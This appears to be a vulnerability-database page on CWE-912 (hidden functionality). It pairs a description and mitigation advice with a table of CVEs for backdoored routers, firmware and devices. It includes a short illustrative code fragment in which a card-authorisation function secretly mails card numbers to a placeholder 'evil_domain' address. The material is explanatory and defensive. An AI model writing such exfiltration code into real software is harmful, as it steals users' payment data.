69 vulnerabilities classified as CWE-912 (隐藏功能). AI Chinese analysis included.
CWE-912 represents a software weakness where undocumented, unspecified, or non-obvious functionality exists within a product, often bypassing standard user interfaces or administrative controls. This vulnerability is typically exploited by attackers who discover these hidden pathways, such as debug ports, developer shortcuts, or intentional backdoors, to gain unauthorized access or execute malicious actions without detection. Developers can mitigate this risk by enforcing strict code reviews to identify and remove unnecessary or obscure code paths, ensuring comprehensive documentation of all features, and implementing rigorous access controls that restrict visibility to only intended, documented interfaces. By adhering to secure coding standards and maintaining clear separation between production and development code, organizations can eliminate unintended entry points, thereby reducing the attack surface and preventing adversaries from leveraging hidden mechanisms for unauthorized system manipulation or data exfiltration.
boolean authorizeCard(String ccn) { // Authorize credit card. ... mailCardNumber(ccn, "evil_developer@evil_domain.com"); }Attackers dump the code from the device and then perform reverse engineering to analyze the code. The undocumented, special-access features are identified, and attackers can activate them by sending specific commands via UART before secure-boot phase completes. Using these hidden features, attackers can perform reads and writes to memory via the UART interface. At runtime, the attackers can also execute arbitrary code and dump the entire memory contents.| CVE ID | Title | CVSS | Severity | Published |
|---|---|---|---|---|
| CVE-2026-7413 | Persistent undocumented backdoor access in Yarbo robot — Firmware | 7.2 | High | 2026-05-07 |
| CVE-2026-41446 | WattBox 800 & 820 Series < 2.10.0.0 RCE via Diagnostic Endpoints — WattBox 800 | 9.8 | Critical | 2026-04-28 |
| CVE-2026-1952 | Denial of service via the undocumented subfunction in AS320T — AS320T | 9.8 | Critical | 2026-04-24 |
| CVE-2026-4621 | NEC Platforms Aterm Series 安全漏洞 — Aterm W1200EX(-MS) | 5.3 | - | 2026-03-27 |
| CVE-2026-33280 | BUFFALO Wi-Fi router 安全漏洞 — BUFFALO Wi-Fi router products | 9.8 | - | 2026-03-27 |
| CVE-2026-31847 | Hidden Functionality Enables Remote Telnet Activation via /goform/setSysTools in Nexxt Nebula 300+ — Nebula 300+ | 9.8 | - | 2026-03-23 |
| CVE-2026-3587 | Hidden CLI Function Allows Root Access — Lean Managed Switch 852-1812 | 10.0 | Critical | 2026-03-23 |
| CVE-2025-48418 | Fortinet多款产品 安全漏洞 — FortiAnalyzer | 6.4 | Medium | 2026-03-10 |
| CVE-2026-1741 | EFM ipTIME A8004T Debug d.cgi httpcon_check_session_url backdoor — ipTIME A8004T | 6.6 | Medium | 2026-02-02 |
| CVE-2025-55704 | Brother Industries Brother MFPs 安全漏洞 — Multiple MFPs | 5.3 | Medium | 2026-01-29 |
| CVE-2025-11544 | Sharp NP series 安全漏洞 — NP-P627UL, NP-P627ULG, NP-P627UL+, NP-P547UL, NP-P547ULG, NP-P607UL+, NP-CG6600UL, NP-H6271UL, NP-H5471UL, NP-P627ULH, NP-P547ULH, NP-PE455UL, NP-PE455ULG, NP-PE455WL, NP-PE455WLG, NP-PE505XLG, NP-CG6500XL, NP-CG6400UL, NP-CG6400WL, NP-CB4500XL, NP-CA4120X, NP-CA4160W, NP-CA4160X, NP-CA4200U, NP-CA4200W, NP-CA4202W, NP-CA4260X, NP-CA4300X, NP-CA4355X, NP-CD2100U, NP-CD2120X, NP-CD2300X, NP-CR2100X, NP-CR2170W, NP-CR2170X, NP-CR2200U, NP-CR2200W, NP-CR2280X, NP-CR2310X, NP-CR2350X, NP-MC302XG, NP-MC332WG, NP-MC342XG, NP-MC372X, NP-MC372XG, NP-MC382W, NP-MC382WG, NP-MC422XG, NP-ME342UG, NP-ME372W, NP-ME372WG, NP-ME382U, NP-ME382UG, NP-ME402X, NP-ME402XG, NP-P525UL, NP-P525ULG, NP-P525UL+, NP-P525WL, NP-P525WLG, NP-P525WL+, NP-P605UL, NP-P605ULG, NP-P605UL+, NP-CG6500UL, NP-CG6500WL, NP-CB4500UL, NP-CB4500WL, NP-P525ULH, NP-P525WLH, NP-P605ULH, NP-P554U, NP-P554UG, NP-P554U+, NP-P554W, NP-P554WG, NP-P554W+, NP-P474U, NP-P474UG, NP-P474W, NP-P474WG, NP-P604XG, NP-P604X+, NP-P603XG, NP-P523X+, NP-PE523XG, NP-PE523X+, NP-CF6600U, NP-CF6600W, NP-CF6700X, NP-CF6500X, NP-CB4600U, NP-P554UH, NP-P554WH, NP-P474UH, NP-P474WH, NP-P604XH, NP-P603XH, NP-PE523XH, NP-P502HL-2, NP-P502WL-2, NP-P502HLG-2, NP-P502WLG ,NP-ME401W, NP-ME361W, NP-ME331W, NP-ME301W, NP-ME401X, NP-ME361X, NP-ME331X, NP-ME301X, NP-ME401WG, NP-ME361WG, NP-ME331WG, NP-ME301WG, NP-ME401XG, NP-ME361XG, NP-ME331XG, NP-ME301XG, NP-CA4155W, NP-CA4350X, NP-CA4255X, NP-CA4155X, NP-CA4115X, NP-MC331WG, NP-MC421XG, NP-MC401XG, NP-MC371XG, NP-MC331XG, NP-MC301XG, NP-CK4155W, NP-CK4255X, NP-CK4155X, NP-CK4055X, NP-CM4150X, NP-CM4050X, NP-CK4155WG, NP-CK4255XG, NP-CK4155XG, NP-CR2165W, NP-CR2305X, NP-CR2275X, NP-CR2165X, NP-CR2155X, NP-CD2115X, NP-CD2105X, NP-CM4151X, NP-CR2276X, NP-CD2116X, NP-P502H, NP-P502W, NP-P452H, NP-P452W | 7.7AI | HighAI | 2025-12-22 |
| CVE-2025-62773 | Mercku M6a 安全漏洞 — M6a | 2.4 | Low | 2025-10-22 |
| CVE-2025-58778 | Ruijie RG-EST300 安全漏洞 — RG-EST300 | 9.8AI | CriticalAI | 2025-10-16 |
| CVE-2025-11673 | PiExtract |SOOP-CLM - Hidden Functionality — SOOP-CLM | 7.2 | High | 2025-10-13 |
| CVE-2025-55075 | I-O DATA WN-7D36QR 安全漏洞 — WN-7D36QR | 4.9 | Medium | 2025-09-17 |
| CVE-2025-30064 | Possibility to generate a session for any user via the "ex:action" parameter after obtaining access to the JWT key — CGM CLININET | 9.1AI | CriticalAI | 2025-08-27 |
| CVE-2025-9382 | FNKvision Y215 CCTV Camera Telnet Sevice s1_rf_test_config backdoor — Y215 CCTV Camera | 6.4 | Medium | 2025-08-24 |
| CVE-2010-20103 | ProFTPD 1.3.3c Backdoor Command Execution — ProFTPD (Professional FTP Daemon) | 9.8AI | CriticalAI | 2025-08-20 |
| CVE-2025-8938 | TOTOLINK N350R Telnet Service formSysTel backdoor — N350R | 6.3 | Medium | 2025-08-14 |
| CVE-2011-10018 | myBB 1.6.4 Backdoor Arbitrary Command Execution — Forum Software | 9.8AI | CriticalAI | 2025-08-13 |
| CVE-2025-46267 | ELECOM WRC-BE36QS-B和ELECOM WRC-W701-B 安全漏洞 — WRC-BE36QS-B | 4.9 | Medium | 2025-07-22 |
| CVE-2025-34117 | Netcore / Netis Routers RCE via UDP Port 53413 Backdoor — Router firmware | 9.8AI | CriticalAI | 2025-07-16 |
| CVE-2025-6839 | Conjure Position Department Service Quality Evaluation System head.php eval backdoor — Position Department Service Quality Evaluation System | 6.3 | Medium | 2025-06-29 |
| CVE-2025-26412 | Undocumented Root Shell Access in SIMCom SIM7600G Modem — SIM7600G Modem | 9.8AI | CriticalAI | 2025-06-11 |
| CVE-2025-48416 | Backdoor Functionality via SSH in eCharge Hardy Barth cPH2 / cPP2 charging stations — cPH2 / cPP2 charging stations | 9.8AI | CriticalAI | 2025-05-21 |
| CVE-2025-47729 | TeleMessage archiving backend 安全漏洞 — archiving backend | 1.9 | Low | 2025-05-08 |
| CVE-2025-32370 | Kentico Xperience 安全漏洞 — Xperience | 7.2 | High | 2025-04-06 |
| CVE-2025-2894 | Unitree Go1 Robot Dog Backdoor Control Channel — Go1 | 6.6 | Medium | 2025-03-28 |
| CVE-2025-27840 | Espressif ESP32 安全漏洞 — ESP32 | 6.8 | Medium | 2025-03-08 |
| CVE-2025-1204 | Contec Health CMS8000 Patient Monitor 安全漏洞 — CMS8000 Patient Monitor | 7.7 | - | 2025-02-25 |
Vulnerabilities classified as CWE-912 (隐藏功能) represent 69 CVEs. The CWE taxonomy describes the weakness; review individual CVEs for product-specific impact.